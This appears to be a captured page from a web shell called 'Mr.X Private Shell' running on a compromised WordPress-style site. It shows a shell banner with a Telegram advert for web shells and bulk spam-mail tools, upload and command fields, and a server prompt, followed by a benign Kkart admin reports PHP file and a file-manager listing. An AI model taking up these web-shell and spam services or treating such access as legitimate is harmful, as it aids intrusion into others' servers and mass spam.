����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Admin Reports
 *
 * Functions used for displaying sales and customer reports in admin.
 *
 * @author      WooThemes
 * @category    Admin
 * @package     Kkart\Admin\Reports
 * @version     2.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'KKART_Admin_Reports', false ) ) {
	return;
}

/**
 * KKART_Admin_Reports Class.
 */
class KKART_Admin_Reports {

	/**
	 * Handles output of the reports page in admin.
	 */
	public static function output() {
		$reports        = self::get_reports();
		$first_tab      = array_keys( $reports );
		$current_tab    = ! empty( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $reports ) ? sanitize_title( $_GET['tab'] ) : $first_tab[0];
		$current_report = isset( $_GET['report'] ) ? sanitize_title( $_GET['report'] ) : current( array_keys( $reports[ $current_tab ]['reports'] ) );

		include_once dirname( __FILE__ ) . '/reports/class-kkart-admin-report.php';
		include_once dirname( __FILE__ ) . '/views/html-admin-page-reports.php';
	}

	/**
	 * Returns the definitions for the reports to show in admin.
	 *
	 * @return array
	 */
	public static function get_reports() {
		$reports = array(
			'orders'    => array(
				'title'   => __( 'Orders', 'kkart' ),
				'reports' => array(
					'sales_by_date'     => array(
						'title'       => __( 'Sales by date', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'sales_by_product'  => array(
						'title'       => __( 'Sales by product', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'sales_by_category' => array(
						'title'       => __( 'Sales by category', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'coupon_usage'      => array(
						'title'       => __( 'Coupons by date', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'downloads'         => array(
						'title'       => __( 'Customer downloads', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			),
			'customers' => array(
				'title'   => __( 'Customers', 'kkart' ),
				'reports' => array(
					'customers'     => array(
						'title'       => __( 'Customers vs. guests', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'customer_list' => array(
						'title'       => __( 'Customer list', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			),
			'stock'     => array(
				'title'   => __( 'Stock', 'kkart' ),
				'reports' => array(
					'low_in_stock' => array(
						'title'       => __( 'Low in stock', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'out_of_stock' => array(
						'title'       => __( 'Out of stock', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'most_stocked' => array(
						'title'       => __( 'Most stocked', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			),
		);

		if ( kkart_tax_enabled() ) {
			$reports['taxes'] = array(
				'title'   => __( 'Taxes', 'kkart' ),
				'reports' => array(
					'taxes_by_code' => array(
						'title'       => __( 'Taxes by code', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
					'taxes_by_date' => array(
						'title'       => __( 'Taxes by date', 'kkart' ),
						'description' => '',
						'hide_title'  => true,
						'callback'    => array( __CLASS__, 'get_report' ),
					),
				),
			);
		}

		$reports = apply_filters( 'kkart_admin_reports', $reports );
		$reports = apply_filters( 'kkart_reports_charts', $reports ); // Backwards compatibility.

		foreach ( $reports as $key => $report_group ) {
			if ( isset( $reports[ $key ]['charts'] ) ) {
				$reports[ $key ]['reports'] = $reports[ $key ]['charts'];
			}

			foreach ( $reports[ $key ]['reports'] as $report_key => $report ) {
				if ( isset( $reports[ $key ]['reports'][ $report_key ]['function'] ) ) {
					$reports[ $key ]['reports'][ $report_key ]['callback'] = $reports[ $key ]['reports'][ $report_key ]['function'];
				}
			}
		}

		return $reports;
	}

	/**
	 * Get a report from our reports subfolder.
	 *
	 * @param string $name
	 */
	public static function get_report( $name ) {
		$name  = sanitize_title( str_replace( '_', '-', $name ) );
		$class = 'KKART_Report_' . str_replace( '-', '_', $name );

		include_once apply_filters( 'kkart_admin_reports_path', 'reports/class-kkart-report-' . $name . '.php', $name, $class );

		if ( ! class_exists( $class ) ) {
			return;
		}

		$report = new $class();
		$report->output_report();
	}
}

Filemanager

Name Type Size Permission Actions
helper Folder 0755
importers Folder 0755
list-tables Folder 0755
marketplace-suggestions Folder 0755
meta-boxes Folder 0755
notes Folder 0755
plugin-updates Folder 0755
reports Folder 0755
settings Folder 0755
views Folder 0755
class-kkart-admin-addons.php File 19.68 KB 0644
class-kkart-admin-api-keys-table-list.php File 6.95 KB 0644
class-kkart-admin-api-keys.php File 7.68 KB 0644
class-kkart-admin-assets.php File 29.86 KB 0644
class-kkart-admin-attributes.php File 18.79 KB 0644
class-kkart-admin-customize.php File 2.45 KB 0644
class-kkart-admin-dashboard.php File 14.91 KB 0644
class-kkart-admin-duplicate-product.php File 9.04 KB 0644
class-kkart-admin-exporters.php File 5.83 KB 0644
class-kkart-admin-help.php File 4.39 KB 0644
class-kkart-admin-import-template.php File 20.38 KB 0644
class-kkart-admin-importers.php File 10.05 KB 0644
class-kkart-admin-log-table-list.php File 9.12 KB 0644
class-kkart-admin-menus.php File 12.61 KB 0644
class-kkart-admin-meta-boxes.php File 8.37 KB 0644
class-kkart-admin-notices.php File 18.47 KB 0644
class-kkart-admin-permalink-settings.php File 8.96 KB 0644
class-kkart-admin-pointers.php File 9.19 KB 0644
class-kkart-admin-post-types.php File 35.59 KB 0644
class-kkart-admin-profile.php File 8.77 KB 0644
class-kkart-admin-reports.php File 5.14 KB 0644
class-kkart-admin-settings.php File 31.45 KB 0644
class-kkart-admin-setup-wizard.php File 84.15 KB 0644
class-kkart-admin-status.php File 13.45 KB 0644
class-kkart-admin-taxonomies.php File 16.9 KB 0644
class-kkart-admin-webhooks-table-list.php File 8.84 KB 0644
class-kkart-admin-webhooks.php File 11.18 KB 0644
class-kkart-admin.php File 9.79 KB 0644
kkart-admin-functions.php File 17.93 KB 0644
kkart-meta-box-functions.php File 11.32 KB 0644